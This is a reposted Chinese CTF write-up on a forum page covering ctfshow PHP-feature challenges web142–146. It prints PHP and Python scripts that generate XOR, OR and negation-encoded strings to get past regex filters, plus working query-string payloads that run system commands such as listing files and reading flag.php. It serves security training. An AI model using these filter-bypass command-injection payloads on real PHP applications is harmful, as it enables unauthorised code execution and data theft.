ctfshow-web入门-php特性(web142-web146)

打印 上一主题 下一主题

主题 703|帖子 703|积分 2109

目录

1、web142
2、web143
3、web144
4、web145
5、web146


1、web142


要求 v1 是数字,之后将 v1乘以 0x36d(即16进制的869)五次,然后将效果转换为整数并赋值给变量 $d,使用 sleep 函数使程序休眠 $d 秒,最后读取flag.php文件的内容并输出到欣赏器。
那直接传 0 呗,不然乘出来都太大了,payload:
  1. ?v1=0
复制代码

检察源码:
 
拿到 flag:ctfshow{3da033cc-68c7-46dc-99fa-e085f7e1d241}

2、web143


在 web141 的底子上新增过滤加减、取反、或,我们可以使用乘除号取代加减号,取反、或不能使用我们还可以采取异或运算构造 payload。
这里我们先采取之前命令实行的脚原来生成可用的字符:
选择异或模式,正则表达式替换成题目标。
  1. <?php
  2. //或
  3. function orRce($par1, $par2){
  4.     $result = (urldecode($par1)|urldecode($par2));
  5.     return $result;
  6. }
  7. //异或
  8. function xorRce($par1, $par2){
  9.     $result = (urldecode($par1)^urldecode($par2));
  10.     return $result;
  11. }
  12. //取反
  13. function negateRce(){
  14.     fwrite(STDOUT,'[+]your function: ');
  15.     $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  16.     fwrite(STDOUT,'[+]your command: ');
  17.     $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  18.     echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
  19. }
  20. //mode=1代表或,2代表异或,3代表取反
  21. //取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
  22. function generate($mode, $preg='/[0-9]/i'){
  23.     if ($mode!=3){
  24.         $myfile = fopen("rce.txt", "w");
  25.         $contents = "";
  26.         for ($i=0;$i<256;$i++){
  27.             for ($j=0;$j<256;$j++){
  28.                 if ($i<16){
  29.                     $hex_i = '0'.dechex($i);
  30.                 }else{
  31.                     $hex_i = dechex($i);
  32.                 }
  33.                 if ($j<16){
  34.                     $hex_j = '0'.dechex($j);
  35.                 }else{
  36.                     $hex_j = dechex($j);
  37.                 }
  38.                 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
  39.                     echo "";
  40.                 }else{
  41.                     $par1 = "%".$hex_i;
  42.                     $par2 = '%'.$hex_j;
  43.                     $res = '';
  44.                     if ($mode==1){
  45.                         $res = orRce($par1, $par2);
  46.                     }else if ($mode==2){
  47.                         $res = xorRce($par1, $par2);
  48.                     }
  49.                     if (ord($res)>=32&ord($res)<=126){
  50.                         $contents=$contents.$res." ".$par1." ".$par2."\n";
  51.                     }
  52.                 }
  53.             }
  54.         }
  55.         fwrite($myfile,$contents);
  56.         fclose($myfile);
  57.     }else{
  58.         negateRce();
  59.     }
  60. }
  61. generate(2,'/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i');
  62. //1代表模式,后面的是过滤规则
复制代码
运行后可以得到一个 txt 文件,也就是我们一会儿需要用来构造 payload 的字典:

对之前命令实行里的攻击脚本进行一些修改,我们只获取 payload:
  1. # -*- coding: utf-8 -*-
  2. def action(arg):
  3.     s1 = ""
  4.     s2 = ""
  5.     with open("rce.txt", "r") as f:
  6.         lines = f.readlines()
  7.         for i in arg:
  8.             for line in lines:
  9.                 if line.startswith(i):
  10.                     s1 += line[2:5]
  11.                     s2 += line[6:9]
  12.                     break
  13.     output = "("" + s1 + ""^"" + s2 + "")"
  14.     return output
  15. while True:
  16.     function_input = input("\n[+] 请输入你的函数:")
  17.     command_input = input("[+] 请输入你的命令:")
  18.     param = action(function_input) + action(command_input)
  19.     print("\n[*] 构造的Payload:", param)
复制代码
这里我们先构造 ("system")("ls") 

运行得到:
  1. ("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")
复制代码
因此我们最终 payload 为:
  1. ?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*
复制代码

构造读取 flag.php 的命令:

运行得到:
  1. ("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")
复制代码
构造 payload:
  1. ?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")*
复制代码

拿到 flag:ctfshow{2fbf0be5-c0d1-462a-b368-f85f09754391}
原来另有一个这种异或构造的脚本,但是有一个字母没构造好:

ls 可以构造:

我们试一下将前面 payload 里的 ls 替换:
  1. ?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")(",("^"@[")*
复制代码
也是可以的 


3、web144


检查 $v1 是否是数字,并且 $v3 是否是单个字符(通过调用 check($v3) 函数进行检查),check 函数检查字符串长度是否为 1,$v2 要求只包含非字母数字字符。
那么让中间的 v3 为运算符即可,直接用上一题异或的方法,传参位置差异罢了:
  1. ?v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")&v3=-
复制代码

拿到 flag:ctfshow{012f9c5e-4c67-4a0c-9975-59cb22386e31}
当然也可以采取或、取反等方法。

4、web145


这里过滤的是异或,我们采取或、取反都可以,加减乘除都被过滤,可以用位或运算符 |。
这里采取取反的方法,payload:
  1. ?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
复制代码
 
也可以用三元运算符:
  1. ?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F):
复制代码

拿到 flag:ctfshow{fac77734-2cf8-41fc-a13b-ec6191389d71}

5、web146


新增过滤冒号,用或 | 即可,payload:
  1. ?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
复制代码

还可以用等于号:
  1. ?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
复制代码

拿到 flag:ctfshow{3f5c8536-09c9-47aa-b545-e08354412790}

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

自由的羽毛

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表